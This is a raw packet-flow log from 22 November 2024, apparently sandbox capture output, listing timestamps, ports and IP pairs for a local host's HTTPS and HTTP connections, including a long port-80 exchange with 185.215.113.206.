Nov 22, 2024 23:06:30.477328062 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.477336884 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.598332882 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.598408937 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.598485947 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.602721930 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.602741003 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.602988005 CET	49767	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.602993965 CET	443	49767	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.605686903 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.605782986 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.605880976 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.606010914 CET	49813	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.606038094 CET	443	49813	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.650892973 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.650976896 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.651192904 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.651402950 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.651431084 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.651459932 CET	49770	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.651468039 CET	443	49770	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.655668020 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.655714989 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.655855894 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.656090021 CET	49814	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.656105995 CET	443	49814	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.725826025 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.725898981 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.726006031 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.726283073 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.726311922 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.726326942 CET	49769	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.726335049 CET	443	49769	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.729065895 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.729142904 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.729274988 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.730118990 CET	49815	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.730149984 CET	443	49815	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.800606966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:30.835478067 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.835608006 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.835691929 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.836153984 CET	49817	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.836189985 CET	443	49817	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.855820894 CET	443	49789	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.855887890 CET	49789	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.872234106 CET	443	49787	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.872308016 CET	49787	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.894855022 CET	443	49786	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.894923925 CET	49786	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.903244019 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.903522968 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.903543949 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.904119968 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.904418945 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.904469967 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.906513929 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.906614065 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.906938076 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.906970978 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.907165051 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.907170057 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.910903931 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.910974979 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.911673069 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.911741018 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.911837101 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.912586927 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.912772894 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.912797928 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.920608044 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:30.945358992 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.946543932 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.946556091 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.947715998 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.947793007 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.948323011 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.948398113 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.948640108 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.948647976 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.951462984 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.952092886 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.952156067 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.952871084 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.952905893 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.952923059 CET	49772	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.952931881 CET	443	49772	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.953419924 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.953490973 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.953871012 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.953964949 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.953994036 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.958255053 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.958297014 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.958506107 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.958782911 CET	49818	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:30.958798885 CET	443	49818	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:30.959332943 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.965898037 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.965925932 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.965938091 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.995337963 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.995762110 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.995784998 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.995819092 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.997915030 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.997952938 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:30.998081923 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.998306036 CET	49819	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:30.998322010 CET	443	49819	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.016407013 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.016496897 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.016700983 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.016720057 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.016983032 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.017054081 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.020056963 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.020167112 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.020179987 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.020243883 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.021218061 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.021271944 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.021286964 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.021382093 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.021657944 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.021668911 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.021681070 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.021701097 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.119174004 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.119220018 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.119304895 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.119481087 CET	49820	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.119498968 CET	443	49820	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.167274952 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.167331934 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.197731972 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.197751045 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.255861998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.255882978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.255898952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.255938053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.255944014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.255980015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.255990028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.256001949 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.256006002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.256022930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.256031990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.256042004 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.256045103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.256087065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.264391899 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.264447927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.264664888 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.264733076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.272708893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.272763968 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.338799000 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.338972092 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.339055061 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.339392900 CET	49805	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.339406967 CET	443	49805	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.342262030 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.342437029 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.342499018 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.342588902 CET	49793	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.342612028 CET	443	49793	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.385245085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.385313034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.385329008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.385381937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.385627985 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.385831118 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.385847092 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.386353970 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.386374950 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.386408091 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.386414051 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.386437893 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.386451960 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.387444973 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.388545036 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.388634920 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.388741016 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.392220974 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.392287970 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.392479897 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.392541885 CET	49806	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.392554045 CET	443	49806	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.395477057 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.395526886 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.395670891 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.395750046 CET	49792	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.395790100 CET	443	49792	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.435337067 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.448220015 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.448319912 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.459073067 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.459112883 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.459547997 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.460237026 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.460299969 CET	49780	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.460362911 CET	443	49780	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.471275091 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.471293926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.471343040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.475343943 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.475439072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.475534916 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.475606918 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.475671053 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.475769043 CET	49800	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.475794077 CET	443	49800	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.476433039 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.476650000 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.476869106 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.476939917 CET	49801	443	192.168.2.5	172.64.41.3
Nov 22, 2024 23:06:31.476943016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.476972103 CET	443	49801	172.64.41.3	192.168.2.5
Nov 22, 2024 23:06:31.477030993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.477191925 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.477292061 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.485361099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.485416889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.485797882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.485968113 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.493751049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.493803978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.494400978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.494611025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.496954918 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.497754097 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.497786045 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.500292063 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.500297070 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.500333071 CET	49785	443	192.168.2.5	20.231.128.67
Nov 22, 2024 23:06:31.500339031 CET	443	49785	20.231.128.67	192.168.2.5
Nov 22, 2024 23:06:31.502074003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.502127886 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.502953053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.503007889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.510456085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.510523081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.510869980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.510925055 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.519054890 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.519139051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.519208908 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.519248962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.527220011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.527230978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.527307987 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.535702944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.535768032 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.535859108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.535909891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.543937922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.544179916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.544284105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.544332981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.559623957 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.559639931 CET	443	49795	172.217.19.225	192.168.2.5
Nov 22, 2024 23:06:31.595674038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.595952988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.596113920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.599872112 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.599978924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.667409897 CET	49795	443	192.168.2.5	172.217.19.225
Nov 22, 2024 23:06:31.682017088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.682090998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.682189941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.682360888 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.684604883 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.684779882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.684839010 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.684883118 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.689903975 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.689951897 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.690431118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.690557957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.693234921 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:31.693708897 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:31.693768978 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:31.694873095 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:31.694956064 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:31.695194960 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.695214033 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.695245981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.695271969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.696034908 CET	49809	443	192.168.2.5	18.165.220.57
Nov 22, 2024 23:06:31.696115971 CET	443	49809	18.165.220.57	192.168.2.5
Nov 22, 2024 23:06:31.700501919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.700573921 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.700822115 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.700870991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.705806017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.707220078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.707324982 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.711129904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.711188078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.711208105 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.711230993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.716403008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.716427088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.716469049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.716490030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.721669912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.721710920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.721745014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.721760988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.726969957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.727046967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.727219105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.727277040 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.731209040 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.731482983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.731667995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.731787920 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.735392094 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.736052990 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.736165047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.739490032 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.739504099 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.739614964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.743635893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.743700981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.743716955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.743756056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.747817993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.747888088 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.748126030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.748178005 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.752201080 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.752255917 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.752279043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.752319098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.756094933 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.756242990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:31.756829977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:31.756876945 CET	49762	80	192.168.2.5	185.215.113.206
